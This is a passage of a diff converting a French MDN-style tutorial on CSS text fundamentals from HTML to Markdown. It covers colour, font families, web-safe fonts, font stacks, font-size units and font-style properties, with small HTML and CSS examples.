disposer le texte dans la boîte de contenu.</li> -</ul> +- **Styles de la police de caractères** : ces propriétés concernent la fonte appliquée au texte, affectant sa police, sa taille, sa graisse, si elle est italique, etc. +- **Styles de composition du texte** : ces propriétés influent sur les espacements et autres dispositions de mise en page du texte, permettant de modifier, par exemple, l'espacement entre lignes et entre caractères, et la manière de disposer le texte dans la boîte de contenu. -<div class="note"> -<p><strong>Note :</strong> Gardez à l'esprit que le texte à l'intérieur d'un élément est affecté comme une seule entité. Vous ne pouvez pas sélectionner et mettre en forme des sous-sections de texte, sauf si vous les enveloppez dans un élément approprié (tel que {{htmlelement ("span")}} ou {{htmlelement ("strong")}}, ou utilisez un texte pseudo-élément spécifique comme <a href="/fr/docs/Web/CSS/::first-letter">::first-letter</a> (sélectionne la première lettre du texte d'un élément), <a href="/fr/docs/Web/CSS/::first-line">::first-line</a> (sélectionne la première ligne du texte d'un élément) ou <a href="/fr/docs/Web/CSS/::selection">::selection</a> (sélectionne le texte actuellement mis en surbrillance par le curseur) .</p> -</div> +> **Note :** Gardez à l'esprit que le texte à l'intérieur d'un élément est affecté comme une seule entité. Vous ne pouvez pas sélectionner et mettre en forme des sous-sections de texte, sauf si vous les enveloppez dans un élément approprié (tel que {{htmlelement ("span")}} ou {{htmlelement ("strong")}}, ou utilisez un texte pseudo-élément spécifique comme [::first-letter](/fr/docs/Web/CSS/::first-letter) (sélectionne la première lettre du texte d'un élément), [::first-line](/fr/docs/Web/CSS/::first-line) (sélectionne la première ligne du texte d'un élément) ou [::selection](/fr/docs/Web/CSS/::selection) (sélectionne le texte actuellement mis en surbrillance par le curseur) . -<h2 id="Fontes">Fontes</h2> +## Fontes -<p>Passons directement aux propriétés pour le style des polices. Dans cet exemple, nous allons appliquer différentes propriétés CSS au même exemple HTML, qui ressemble à ceci :</p> +Passons directement aux propriétés pour le style des polices. Dans cet exemple, nous allons appliquer différentes propriétés CSS au même exemple HTML, qui ressemble à ceci : -<pre class="brush: html"><h1>Tommy le Chat</h1> +```html +<h1>Tommy le Chat</h1> -<p>Je m'en souviens comme mon dernier repas...</p> +<p>Je m'en souviens comme mon dernier repas...</p> -<p>Dit Tommy le Chat en jetant la tête en arrière pour dégager +<p>Dit Tommy le Chat en jetant la tête en arrière pour dégager ce corps étranger qui s'était niché au fond de sa redoutable gueule. Beaucoup de rats bien gras trépassèrent dans la ruelle en regardant l'étoile brillant au fond du canon de cet extraordinaire rôdeur en quête de proie. Un véritable miracle de la nature ce prédateur urbain — Tommy le Chat avait beaucoup d'histoires à raconter. Mais il ne le faisait qu'en de rares -occasions, comme maintenant.</p></pre> +occasions, comme maintenant.</p> +``` -<div class="note"> -<p><strong>Note :</strong> (NdT : Extrait et traduction <em>approximative</em> de la chanson <em>Tommy the Cat</em> du groupe <a href="https://fr.wikipedia.org/wiki/Primus_(groupe)">Primus)</a></p> -</div> +> **Note :** (NdT : Extrait et traduction _approximative_ de la chanson _Tommy the Cat_ du groupe [Primus)](<https://fr.wikipedia.org/wiki/Primus_(groupe)>) -<p>Vous pouvez trouver l'<a href="https://mdn.github.io/learning-area/css/styling-text/fundamentals/">exemple (en) fini</a> sur Github (voir aussi <a href="https://github.com/mdn/learning-area/blob/master/css/styling-text/fundamentals/index.html">le code source</a>).</p> +Vous pouvez trouver l'[exemple (en) fini](https://mdn.github.io/learning-area/css/styling-text/fundamentals/) sur Github (voir aussi [le code source](https://github.com/mdn/learning-area/blob/master/css/styling-text/fundamentals/index.html)). -<h3 id="Couleur">Couleur</h3> +### Couleur -<p>La propriété {{cssxref("color")}} définit la couleur du contenu d'avant‑plan des éléments sélectionnés (généralement du texte, mais peut être autre chose, comme un soulignement ou un surlignage créé avec la propriété {{cssxref("text-decoration")}}.</p> +La propriété {{cssxref("color")}} définit la couleur du contenu d'avant‑plan des éléments sélectionnés (généralement du texte, mais peut être autre chose, comme un soulignement ou un surlignage créé avec la propriété {{cssxref("text-decoration")}}. -<p><code>color</code> accepte toutes les <a href="/fr/Apprendre/CSS/Introduction_%C3%A0_CSS/Values_and_units#Couleurs">unités de couleur des CSS</a>, par exemple :</p> +`color` accepte toutes les [unités de couleur des CSS](/fr/Apprendre/CSS/Introduction_%C3%A0_CSS/Values_and_units#Couleurs), par exemple : -<pre class="brush: css">p { +```css +p { color: red; -}</pre> +} +``` -<p>Les paragraphes seront en rouge, au lieu d'être de couleur noire, couleur par défaut du navigateur standard :</p> +Les paragraphes seront en rouge, au lieu d'être de couleur noire, couleur par défaut du navigateur standard : -<pre class="brush: html hidden"><h1>Tommy le Chat</h1> +```html hidden +<h1>Tommy le Chat</h1> -<p>Je m'en souviens comme mon dernier repas...</p> +<p>Je m'en souviens comme mon dernier repas...</p> -<p>Dit Tommy le Chat en jetant la tête en arrière pour dégager +<p>Dit Tommy le Chat en jetant la tête en arrière pour dégager ce corps étranger qui s'était niché au fond de sa redoutable gueule. Beaucoup de rats bien gras trépassèrent dans la ruelle en regardant l'étoile brillant au fond du canon de cet extraordinaire rôdeur en quête de proie. Un véritable miracle de la nature ce prédateur urbain — Tommy le Chat avait beaucoup d'histoires à raconter. Mais il ne le faisait qu'en de rares -occasions, comme maintenant.</p></pre> +occasions, comme maintenant.</p> +``` -<p>{{ EmbedLiveSample('Couleur', '100%', 220) }}</p> +{{ EmbedLiveSample('Couleur', '100%', 220) }} -<h3 id="Familles_de_fontes">Familles de fontes</h3> +### Familles de fontes -<p>Pour définir une police de caractères différente pour le texte, utilisez la propriété {{cssxref("font-family")}} — cela vous permet de spécifier une police (ou une liste de polices) que le navigateur doit appliquer aux éléments sélectionnés. Le navigateur n'appliquera une police de caractères que si elle est disponible sur la machine sur laquelle le site est accessible, sinon, il utilisera une {{anch("Default fonts", "police par défaut")}} . Un exemple simple pour voir cela :</p> +Pour définir une police de caractères différente pour le texte, utilisez la propriété {{cssxref("font-family")}} — cela vous permet de spécifier une police (ou une liste de polices) que le navigateur doit appliquer aux éléments sélectionnés. Le navigateur n'appliquera une police de caractères que si elle est disponible sur la machine sur laquelle le site est accessible, sinon, il utilisera une {{anch("Default fonts", "police par défaut")}} . Un exemple simple pour voir cela : -<pre class="brush: css">p { +```css +p { font-family: arial; -}</pre> +} +``` -<p>Cette commande définit la police de caractères arial (qui existe sur tous les ordinateurs) pour tous les paragraphes de la page.</p> +Cette commande définit la police de caractères arial (qui existe sur tous les ordinateurs) pour tous les paragraphes de la page. -<h4 id="Polices_web_sûres">Polices web sûres</h4> +#### Polices web sûres -<p>En parlant de la disponibilité des polices, il y a seulement un certain nombre de polices qui sont généralement disponibles sur tous les systèmes, et peuvent donc être utilisées sans trop de soucis. Ce sont les polices web dites sûres.</p> +En parlant de la disponibilité des polices, il y a seulement un certain nombre de polices qui sont généralement disponibles sur tous les systèmes, et peuvent donc être utilisées sans trop de soucis. Ce sont les polices web dites sûres. -<p>La plupart du temps, en tant que développeur web, nous voulons avoir un contrôle précis sur les polices utilisées pour afficher le contenu textuel. Le problème est de trouver un moyen de savoir quelle police est disponible sur l'ordinateur utilisé pour voir nos pages web. Il n'y a aucun moyen systématique de le savoir, mais les polices web sûres sont disponibles sur presque tous les systèmes d'exploitation les plus utilisés (Windows, Mac, les distributions Linux les plus courantes, Android et iOS).</p> +La plupart du temps, en tant que développeur web, nous voulons avoir un contrôle précis sur les polices utilisées pour afficher le contenu textuel. Le problème est de trouver un moyen de savoir quelle police est disponible sur l'ordinateur utilisé pour voir nos pages web. Il n'y a aucun moyen systématique de le savoir, mais les polices web sûres sont disponibles sur presque tous les systèmes d'exploitation les plus utilisés (Windows, Mac, les distributions Linux les plus courantes, Android et iOS). -<p>La liste des polices web vraiment sûres changera à mesure que les systèmes d'exploitation évolueront, mais on peut considérer les polices suivantes comme sûres sur le web, du moins pour le moment (beaucoup ont été popularisées grâce aux polices <a href="https://fr.wikipedia.org/wiki/Core_fonts_for_the_Web">Microsoft Core</a> pour le web à la fin des années 90 et début des années 2000) :</p> +La liste des polices web vraiment sûres changera à mesure que les systèmes d'exploitation évolueront, mais on peut considérer les polices suivantes comme sûres sur le web, du moins pour le moment (beaucoup ont été popularisées grâce aux polices [Microsoft Core](https://fr.wikipedia.org/wiki/Core_fonts_for_the_Web) pour le web à la fin des années 90 et début des années 2000) : -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Nom</th> - <th scope="col">Type générique</th> - <th scope="col">Notes</th> - </tr> - </thead> - <tbody> - <tr> - <td>Arial</td> - <td>sans-serif</td> - <td>Il est de bonne pratique d'ajouter Helvetica en tant qu'alternative préférée d'Arial car, bien que leurs apparences soient presque identiques, Helvetica est considérée comme ayant une forme plus agréable, même si Arial est plus courante.</td> - </tr> - <tr> - <td>Courier New</td> - <td>monospace</td> - <td>Certains systèmes d'exploitation ont une version alternative (peut-être plus ancienne) de la police <em>Courier New</em> appelée <em>Courier</em>. Il est recommandé d'utiliser les deux avec <em>Courier New</em> comme alternative préférée.</td> - </tr> - <tr> - <td>Georgia</td> - <td>serif</td> - <td> </td> - </tr> - <tr> - <td>Times New Roman</td> - <td>serif</td> - <td>Certains systèmes d'exploitation ont une version alternative (peut-être plus ancienne) de la police <em>Times New Roman</em> appelée <em>Times</em>. Il est recommandé d'utiliser les deux avec <em>Times New Roman</em> comme alternative préférée.</td> - </tr> - <tr> - <td>Trebuchet MS</td> - <td>sans-serif</td> - <td>Vous devriez être prudent avec l'utilisation de cette police - elle n'est pas aussi largement disponible sur les systèmes d'exploitation des mobiles.</td> - </tr> - <tr> - <td>Verdana</td> - <td>sans-serif</td> - <td> </td> - </tr> - </tbody> -</table> +| Nom | Type générique | Notes | +| --------------- | -------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| Arial | sans-serif | Il est de bonne pratique d'ajouter Helvetica en tant qu'alternative préférée d'Arial car, bien que leurs apparences soient presque identiques, Helvetica est considérée comme ayant une forme plus agréable, même si Arial est plus courante. | +| Courier New | monospace | Certains systèmes d'exploitation ont une version alternative (peut-être plus ancienne) de la police _Courier New_ appelée _Courier_. Il est recommandé d'utiliser les deux avec _Courier New_ comme alternative préférée. | +| Georgia | serif | | +| Times New Roman | serif | Certains systèmes d'exploitation ont une version alternative (peut-être plus ancienne) de la police _Times New Roman_ appelée _Times_. Il est recommandé d'utiliser les deux avec _Times New Roman_ comme alternative préférée. | +| Trebuchet MS | sans-serif | Vous devriez être prudent avec l'utilisation de cette police - elle n'est pas aussi largement disponible sur les systèmes d'exploitation des mobiles. | +| Verdana | sans-serif | | -<div class="note"> -<p><strong>Note :</strong> Le site <a href="https://www.cssfontstack.com/">cssfontstack.com</a> met à votre disposition, entre autres ressources, une liste de polices web sûres disponibles sur les systèmes d'exploitation Windows et Mac OS. Elle peut faciliter votre prise de décision quant à ce que vous considérerez comme sûr pour votre usage.</p> -</div> +> **Note :** Le site [cssfontstack.com](https://www.cssfontstack.com/) met à votre disposition, entre autres ressources, une liste de polices web sûres disponibles sur les systèmes d'exploitation Windows et Mac OS. Elle peut faciliter votre prise de décision quant à ce que vous considérerez comme sûr pour votre usage. -<div class="note"> -<p><strong>Note :</strong> Il y a moyen de télécharger une police personnalisée avec une page Web ; cela permet une utilisation personnalisée de la police comme vous le souhaitez : <strong>les polices web</strong>. C'est un peu plus complexe, et nous en discuterons dans un article séparé plus loin dans le module.</p> -</div> +> **Note :** Il y a moyen de télécharger une police personnalisée avec une page Web ; cela permet une utilisation personnalisée de la police comme vous le souhaitez : **les polices web**. C'est un peu plus complexe, et nous en discuterons dans un article séparé plus loin dans le module. -<h4 id="Polices_par_défaut">Polices par défaut</h4> +#### Polices par défaut -<p>CSS définit cinq noms génériques pour les polices : <code>serif</code>, <code>sans-serif</code>, <code>monospace</code>, <code>cursive</code> et <code>fantasy</code>. À cause de leur caractère générique la police de caractères exacte utilisée, lors de l'emploi de ces noms, dépend de chaque navigateur et peut varier pour chaque système d'exploitation sur lequel ils s'exécutent. Dans le pire des cas, le navigateur essaiera de trouver une police appropriée.<code>serif</code>, <code>sans-serif</code> et <code>monospace</code> sont tout à fait prévisibles et devraient donner quelque chose de raisonnable. Par contre, <code>cursive</code> et <code>fantasy</code> sont moins prévisibles et nous vous recommandons de les utiliser avec précaution, en les testant au fur et à mesure.</p> +CSS définit cinq noms génériques pour les polices : `serif`, `sans-serif`, `monospace`, `cursive` et `fantasy`. À cause de leur caractère générique la police de caractères exacte utilisée, lors de l'emploi de ces noms, dépend de chaque navigateur et peut varier pour chaque système d'exploitation sur lequel ils s'exécutent. Dans le pire des cas, le navigateur essaiera de trouver une police appropriée.`serif`, `sans-serif` et `monospace` sont tout à fait prévisibles et devraient donner quelque chose de raisonnable. Par contre, `cursive` et `fantasy` sont moins prévisibles et nous vous recommandons de les utiliser avec précaution, en les testant au fur et à mesure. -<p>Les 5 noms sont définis comme suit :</p> +Les 5 noms sont définis comme suit : -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Terme</th> - <th scope="col">Définition</th> - <th scope="col">Exemple</th> - </tr> - </thead> - <tbody> - <tr> - <td><code>serif</code></td> - <td>Les polices qui ont des sérifs (fioritures et autres petits détails que vous voyez en extrémité de trait dans certaines polices)</td> - <td>Mon grand éléphant rouge</td> - </tr> - <tr> - <td><code>sans-serif</code></td> - <td>Les polices qui n'ont pas d'empattements</td> - <td>Mon grand éléphant rouge</td> - </tr> - <tr> - <td><code>monospace</code></td> - <td>Les polices dans lesquelles chaque caractère a la même largeur, généralement utilisées dans les listes de codes.</td> - <td>Mon grand éléphant rouge</td> - </tr> - <tr> - <td><code>cursive</code></td> - <td>Les polices destinées à émuler l'écriture, avec des traits fluides et connectés.</td> - <td>Mon grand éléphant rouge</td> - </tr> - <tr> - <td><code>fantasy</code></td> - <td>Les polices destinées à être décoratives.</td> - <td>Mon grand éléphant rouge</td> - </tr> - </tbody> -</table> +| Terme | Définition | Exemple | +| ------------ | -------------------------------------------------------------------------------------------------------------------------------- | ------------------------ | +| `serif` | Les polices qui ont des sérifs (fioritures et autres petits détails que vous voyez en extrémité de trait dans certaines polices) | Mon grand éléphant rouge | +| `sans-serif` | Les polices qui n'ont pas d'empattements | Mon grand éléphant rouge | +| `monospace` | Les polices dans lesquelles chaque caractère a la même largeur, généralement utilisées dans les listes de codes. | Mon grand éléphant rouge | +| `cursive` | Les polices destinées à émuler l'écriture, avec des traits fluides et connectés. | Mon grand éléphant rouge | +| `fantasy` | Les polices destinées à être décoratives. | Mon grand éléphant rouge | -<h4 id="Pile_de_polices">Pile de polices</h4> +#### Pile de polices -<p>Comme la disponibilité des polices que vous souhaitez utiliser sur vos pages web n'est pas garantie (même une police web peut échouer pour une raison quelconque), vous pouvez indiquer une pile de polices afin que le navigateur ait à sa disposition plusieurs polices. Il convient simplement d'indiquer pour valeur de <code>font-family</code> plusieurs noms de polices séparés par des virgules, par exemple :</p> +Comme la disponibilité des polices que vous souhaitez utiliser sur vos pages web n'est pas garantie (même une police web peut échouer pour une raison quelconque), vous pouvez indiquer une pile de polices afin que le navigateur ait à sa disposition plusieurs polices. Il convient simplement d'indiquer pour valeur de `font-family` plusieurs noms de polices séparés par des virgules, par exemple : -<pre class="brush: css">p { +```css +p { font-family: "Trebuchet MS", Verdana, sans-serif; -}</pre> +} +``` -<p>Dans ce cas, le navigateur débute la lecture de la liste et cherche à voir si cette police est disponible sur la machine. Si c'est le cas, il applique cette police aux éléments sélectionnés. Sinon, il passe à la police suivante et ainsi de suite.</p> +Dans ce cas, le navigateur débute la lecture de la liste et cherche à voir si cette police est disponible sur la machine. Si c'est le cas, il applique cette police aux éléments sélectionnés. Sinon, il passe à la police suivante et ainsi de suite. -<p>Indiquer un nom de police générique approprié en fin de liste est une bonne idée : si aucune des polices listées n'est disponible, le navigateur peut au‑moins fournir quelque chose de convenable. Soulignons ce point : les paragraphes seront rendus avec la police serif par défaut du navigateur si aucune autre option n'est disponible — généralement Time New Roman — mais ce ne sera pas un bon substitut à une police sans-serif !</p> +Indiquer un nom de police générique approprié en fin de liste est une bonne idée : si aucune des polices listées n'est disponible, le navigateur peut au‑moins fournir quelque chose de convenable. Soulignons ce point : les paragraphes seront rendus avec la police serif par défaut du navigateur si aucune autre option n'est disponible — généralement Time New Roman — mais ce ne sera pas un bon substitut à une police sans-serif ! -<div class="note"> -<p><strong>Note :</strong> Les noms de police comportant plus d'un mot — comme <code>Trebuchet MS</code> — doivent être entourés de guillemets, par exemple <code>"Trebuchet MS"</code>.</p> -</div> +> **Note :** Les noms de police comportant plus d'un mot — comme `Trebuchet MS` — doivent être entourés de guillemets, par exemple `"Trebuchet MS"`. -<h4 id="Un_exemple_de_font-family">Un exemple de font-family</h4> +#### Un exemple de font-family -<p>Faisons un ajout à notre exemple précédent et donnons aux paragraphes une police sans-serif :</p> +Faisons un ajout à notre exemple précédent et donnons aux paragraphes une police sans-serif : -<pre class="brush: css">p { +```css +p { color: red; font-family: Helvetica, Arial, sans-serif; -}</pre> +} +``` -<p>Cela donne le résultat suivant :</p> +Cela donne le résultat suivant : -<pre class="brush: html hidden"><h1>Tommy le Chat</h1> +```html hidden +<h1>Tommy le Chat</h1> -<p>Je m'en souviens comme mon dernier repas...</p> +<p>Je m'en souviens comme mon dernier repas...</p> -<p>Dit Tommy le Chat en jetant la tête en arrière pour dégager +<p>Dit Tommy le Chat en jetant la tête en arrière pour dégager ce corps étranger qui s'était niché au fond de sa redoutable gueule. Beaucoup de rats bien gras trépassèrent dans la ruelle en regardant l'étoile brillant au fond du canon de cet extraordinaire rôdeur en quête de proie. Un véritable miracle de la nature ce prédateur urbain — Tommy le Chat avait beaucoup d'histoires à raconter. Mais il ne le faisait qu'en de rares -occasions, comme maintenant.</p></pre> +occasions, comme maintenant.</p> +``` -<p>{{ EmbedLiveSample('Un_exemple_de_font-family', '100%', 220) }}</p> +{{ EmbedLiveSample('Un_exemple_de_font-family', '100%', 220) }} -<h3 id="Taille_de_la_police_de_caractères">Taille de la police de caractères</h3> +### Taille de la police de caractères -<p>Dans l'article <a href="/fr/Apprendre/CSS/Introduction_%C3%A0_CSS/Values_and_units">Valeurs et unités CSS</a> de notre prédédent module, nous avons vu les <a href="/fr/Apprendre/CSS/Introduction_%C3%A0_CSS/Values_and_units#Longueur_et_taille">unités de longueur et taille</a>. La taille des polices de caractères (définie avec la propriété {{cssxref("font-size")}}) accepte la plupart des unités de valeur (et d'autres comme les <a href="/fr/Apprendre/CSS/Introduction_%C3%A0_CSS/Values_and_units#Pourcentages">pourcentages</a>). Toutefois, les unités les plus couramment utilisées pour dimensionner le texte sont :</p> +Dans l'article [Valeurs et unités CSS](/fr/Apprendre/CSS/Introduction_%C3%A0_CSS/Values_and_units) de notre prédédent module, nous avons vu les [unités de longueur et taille](/fr/Apprendre/CSS/Introduction_%C3%A0_CSS/Values_and_units#Longueur_et_taille). La taille des polices de caractères (définie avec la propriété {{cssxref("font-size")}}) accepte la plupart des unités de valeur (et d'autres comme les [pourcentages](/fr/Apprendre/CSS/Introduction_%C3%A0_CSS/Values_and_units#Pourcentages)). Toutefois, les unités les plus couramment utilisées pour dimensionner le texte sont : -<ul> - <li><code>px</code> (pixels) : le nombre de pixels souhaités pour la hauteur du texte. C'est une unité absolue — il en résulte une même valeur finale calculée de la police sur la page dans à peu près n'importe quelle situation.</li> - <li><code>em</code> : 1 em est égal à la taille de la police définie sur l'élément parent de l'élément courant que nous composons (plus précisément, la largeur d'un « M » majuscule de l'élément parent). Cette valeur peut devenir difficile à déterminer si vous avez beaucoup d'imbrications avec diverses tailles de police, mais cela reste faisable, comme vous le verrez ci-dessous. Pourquoi s'embêter ? C'est assez naturel, une fois que vous y êtes habitué ; vous pouvez utiliser <code>em</code> pour tout dimensionner, pas seulement du texte. Vous pouvez avoir un site web entier dimensionné avec des <code>em</code>, la maintenance en sera facilitée.</li> - <li><code>rem</code> : il fonctionne comme <code>em</code>, excepté que un <code>rem</code> est égal à la taille de la police sur l'élément racine du document (c'est-à-dire {{htmlelement("html")}}) et non le parent direct). Le calcul des tailles de police en est facilité, mais malheureusement les <code>rem</code> ne sont pas pris en charge dans Internet Explorer 8 et avant. Si vous devez prendre en charge des navigateurs plus anciens dans votre projet, vous devrez vous en tenir aux <code>em</code> ou aux <code>px</code>, soit utiliser une prothèse d'émulation ({{glossary ("polyfill")}}) telle que <a href="https://github.com/chuckcarpenter/REM-unit-polyfill">REM-unit-polyfill</a>.</li> -</ul> +- `px` (pixels) : le nombre de pixels souhaités pour la hauteur du texte. C'est une unité absolue — il en résulte une même valeur finale calculée de la police sur la page dans à peu près n'importe quelle situation. +- `em` : 1 em est égal à la taille de la police définie sur l'élément parent de l'élément courant que nous composons (plus précisément, la largeur d'un « M » majuscule de l'élément parent). Cette valeur peut devenir difficile à déterminer si vous avez beaucoup d'imbrications avec diverses tailles de police, mais cela reste faisable, comme vous le verrez ci-dessous. Pourquoi s'embêter ? C'est assez naturel, une fois que vous y êtes habitué ; vous pouvez utiliser `em` pour tout dimensionner, pas seulement du texte. Vous pouvez avoir un site web entier dimensionné avec des `em`, la maintenance en sera facilitée. +- `rem` : il fonctionne comme `em`, excepté que un `rem` est égal à la taille de la police sur l'élément racine du document (c'est-à-dire {{htmlelement("html")}}) et non le parent direct). Le calcul des tailles de police en est facilité, mais malheureusement les `rem` ne sont pas pris en charge dans Internet Explorer 8 et avant. Si vous devez prendre en charge des navigateurs plus anciens dans votre projet, vous devrez vous en tenir aux `em` ou aux `px`, soit utiliser une prothèse d'émulation ({{glossary ("polyfill")}}) telle que [REM-unit-polyfill](https://github.com/chuckcarpenter/REM-unit-polyfill). -<p>La propriété <code>font-size</code> d'un élément est héritée de son parent. Tout commence par l'élément racine de l'ensemble du document — {{htmlelement("html")}} — dont la propriété <code>font‑size</code> est normée à 16 px sur les navigateurs. Tout paragraphe (ou tout autre élément dont la taille n'a pas été définie différemment par le navigateur) à l'intérieur de l'élément racine aura une taille finale de 16 px. D'autres éléments peuvent avoir des tailles par défaut différentes, par exemple un élément {{htmlelement ("h1")}} a une taille de 2 <code>em</code> définie par défaut, donc aura une taille finale de 32 px.</p> +La propriété `font-size` d'un élément est héritée de son parent. Tout commence par l'élément racine de l'ensemble du document — {{htmlelement("html")}} — dont la propriété `font‑size` est normée à 16 px sur les navigateurs. Tout paragraphe (ou tout autre élément dont la taille n'a pas été définie différemment par le navigateur) à l'intérieur de l'élément racine aura une taille finale de 16 px. D'autres éléments peuvent avoir des tailles par défaut différentes, par exemple un élément {{htmlelement ("h1")}} a une taille de 2 `em` définie par défaut, donc aura une taille finale de 32 px. -<p>Les choses deviennent plus difficiles lorsque vous commencez à modifier la taille de la police des éléments imbriqués. Par exemple, vous avez un élément {{htmlelement ("article")}} dans la page dont la taille de police est 1.5 <code>em</code> (24 px), puis, vous voulez que les paragraphes de l'<code><article></code> aient une taille de police calculée de 20 px, quelle valeur de <code>em</code> utiliseriez-vous ?</p> +Les choses deviennent plus difficiles lorsque vous commencez à modifier la taille de la police des éléments imbriqués. Par exemple, vous avez un élément {{htmlelement ("article")}} dans la page dont la taille de police est 1.5 `em` (24 px), puis, vous voulez que les paragraphes de l'`<article>` aient une taille de police calculée de 20 px, quelle valeur de `em` utiliseriez-vous ? -<pre class="brush: html"><!-- font-size vaut 16px pour la base du document --> -<article> <!-- Si font-size vaut 1.5em --> - <p>Mon paragraphe</p> <!-- Comment calculer une hauteur de fonte de 20px ? --> -</article></pre> +```html +<!-- font-size vaut 16px pour la base du document --> +<article> <!-- Si font-size vaut 1.5em --> + <p>Mon paragraphe</p> <!-- Comment calculer une hauteur de fonte de 20px ? --> +</article> +``` -<p>Vous devrez définir sa valeur <code>em</code> à 20/24 ou 0,83333333 <code>em</code>. Les mathématiques peuvent être compliquées, vous devez donc faire attention à la façon dont vous composez les choses. Il est préférable d'utiliser <code>rem</code> quand vous le pouvez, pour garder les choses simples et éviter d'avoir à définir la taille des polices des éléments du conteneur si possible.</p> +Vous devrez définir sa valeur `em` à 20/24 ou 0,83333333 `em`. Les mathématiques peuvent être compliquées, vous devez donc faire attention à la façon dont vous composez les choses. Il est préférable d'utiliser `rem` quand vous le pouvez, pour garder les choses simples et éviter d'avoir à définir la taille des polices des éléments du conteneur si possible. -<h4 id="Un_simple_exemple_de_dimensionnement">Un simple exemple de dimensionnement</h4> +#### Un simple exemple de dimensionnement -<p>Quand vous dimensionnez votre texte, c'est généralement une bonne idée de définir la <code>font‑size</code> de base du document à 10 px, de sorte que les maths sont beaucoup plus faciles à travailler — les valeurs requises (r) em sont alors la taille de la police en pixels divisée par 10, et non par 16. Après cela, vous pouvez facilement dimensionner les différents types de texte dans votre document à votre goût. C'est une bonne idée de lister tous les jeux de règles de <code>font‑size</code> dans une zone désignée de votre feuille de style, afin qu'ils soient faciles à trouver.</p> +Quand vous dimensionnez votre texte, c'est généralement une bonne idée de définir la `font‑size` de base du document à 10 px, de sorte que les maths sont beaucoup plus faciles à travailler — les valeurs requises (r) em sont alors la taille de la police en pixels divisée par 10, et non par 16. Après cela, vous pouvez facilement dimensionner les différents types de texte dans votre document à votre goût. C'est une bonne idée de lister tous les jeux de règles de `font‑size` dans une zone désignée de votre feuille de style, afin qu'ils soient faciles à trouver. -<p>Notre nouveau résultat ressemble à :</p> +Notre nouveau résultat ressemble à : -<pre class="brush: html hidden"><h1>Tommy le Chat</h1> +```html hidden +<h1>Tommy le Chat</h1> -<p>Je m'en souviens comme mon dernier repas...</p> +<p>Je m'en souviens comme mon dernier repas...</p> -<p>Dit Tommy le Chat en jetant la tête en arrière pour dégager +<p>Dit Tommy le Chat en jetant la tête en arrière pour dégager ce corps étranger qui s'était niché au fond de sa redoutable gueule. Beaucoup de rats bien gras trépassèrent dans la ruelle en regardant l'étoile brillant au fond du canon de cet extraordinaire rôdeur en quête de proie. Un véritable miracle de la nature ce prédateur urbain — Tommy le Chat avait beaucoup d'histoires à raconter. Mais il ne le faisait qu'en de rares -occasions, comme maintenant.</p></pre> +occasions, comme maintenant.</p> +``` -<pre class="brush: css">html { +```css +html { font-size: 10px; } @@ -301,66 +250,64 @@ p { font-size: 1.4rem; color: red; font-family: Helvetica, Arial, sans-serif; -}</pre> - -<p>{{ EmbedLiveSample('Un_simple_exemple_de_dimensionnement', '100%', 220) }}</p> - -<h3 id="Style_de_fonte_graisse_transformation_et_décoration_de_texte">Style de fonte, graisse, transformation et décoration de texte</h3> - -<p>CSS fournit quatre propriétés communes pour modifier le poids et l'emphase visuelles du texte :</p> - -<ul> - <li>{{cssxref("font-style")}} : utilisé pour appliquer ou enlever le style italique. Les valeurs possibles sont les suivantes (vous ne l'utiliserez que rarement, sauf si vous souhaitez désactiver le style italique pour une raison quelconque) : - <ul> - <li><code>normal</code> : fige le texte en police normale (suppression du style italique existant).</li> - <li><code>italic </code>: met le texte en <em>version italique de la police</em> si elle est disponible ; si elle n'existe pas, le style italique sera émulé avec l'option oblique à la place.</li> - <li><code>oblique</code> : force le texte à utiliser une version simulée de fonte italique, créée en <em>inclinant la version normale</em>.</li> - </ul> - </li> - <li>{{cssxref("font-weight")}} : définit la graisse du texte. La propriété peut avoir de nombreuses valeurs s'il y a de nombreuses variantes de polices disponibles (comme <em>-light</em>, <em>-normal</em>, <em>-bold</em>, <em>-extrabold</em>, <em>-black</em>, etc.), mais en réalité, vous les utiliserez rarement en dehors de <code>normal</code> et <code>bold</code> (gras): - <ul> - <li><code>normal</code>, <code>bold</code> : graisse de la police, normale ou <strong>bold</strong>.</li> - <li><code>lighter</code>, <code>bolder</code> : définit la graisse de l'élément courant de sorte qu'il soit un cran moins gras ou plus gras que son parent.</li> - <li><code>100–900</code> : valeurs numériques du taux de graisse ; elles permettent un dosage plus fin que les mots-clés ci-dessus, si nécessaire.</li> - </ul> - </li> - <li>{{cssxref("text-transform")}} : Vous permet de définir les transformations de votre police. Les valeurs comprennent : - <ul> - <li><code>none</code> : aucune transformation.</li> - <li><code>uppercase</code> : met tout le texte en majuscules.</li> - <li><code>lowercase</code> : met tout le texte en minuscules.</li> - <li><code>capitalize</code> : transforme tous les mots en mettant leur première lettre en majuscules.</li> - <li><code>full-width</code> : force l'écriture de tous les glyphes dans un carré de largeur fixe, similaire à une police à espacement fixe, permettant leur alignement, par ex. caractères latins avec des glyphes de langue asiatique (comme le chinois, le japonais, le coréen.)</li> - </ul> - </li> - <li>{{cssxref("text-decoration")}} : active ou désactive les décorations de texte sur les polices (vous les utiliserez principalement pour désactiver le soulignement par défaut sur les liens lors de leur création). Les valeurs disponibles sont : - <ul> - <li><code>none</code>: désactive les décorations du texte déjà présentes.</li> - <li><code>underline</code>: souligne le texte.</li> - <li><code>overline</code>: trace une ligne au-dessus du texte.</li> - <li><code>line-through</code>: barre le texte.</li> - </ul> - Vous devez noter que {{cssxref("text-decoration")}} peut accepter plusieurs valeurs à la fois, si vous voulez en ajouter plusieurs simultanément, par exemple <code>text-decoration: underline overline</code>. Notez aussi que {{cssxref("text-decoration")}} est la propriété raccourcie pour {{cssxref("text-decoration-line")}}, {{cssxref("text-decoration-style")}} et {{cssxref("text-decoration-color")}}. Vous pouvez utiliser des combinaisons de ces valeurs de propriété pour créer des effets intéressants, par exemple <code>text-decoration: line-through red wavy</code>.</li> -</ul> - -<p>Regardons l'ajout de quelques-unes de ces propriétés à notre exemple.</p> - -<p>Notre nouveau résultat ressemble à :</p> - -<pre class="brush: html hidden"><h1>Tommy le Chat</h1> - -<p>Je m'en souviens comme mon dernier repas...</p> - -<p>Dit Tommy le Chat en jetant la tête en arrière pour dégager +} +``` + +{{ EmbedLiveSample('Un_simple_exemple_de_dimensionnement', '100%', 220) }} + +### Style de fonte, graisse, transformation et décoration de texte + +CSS fournit quatre propriétés communes pour modifier le poids et l'emphase visuelles du texte : + +- {{cssxref("font-style")}} : 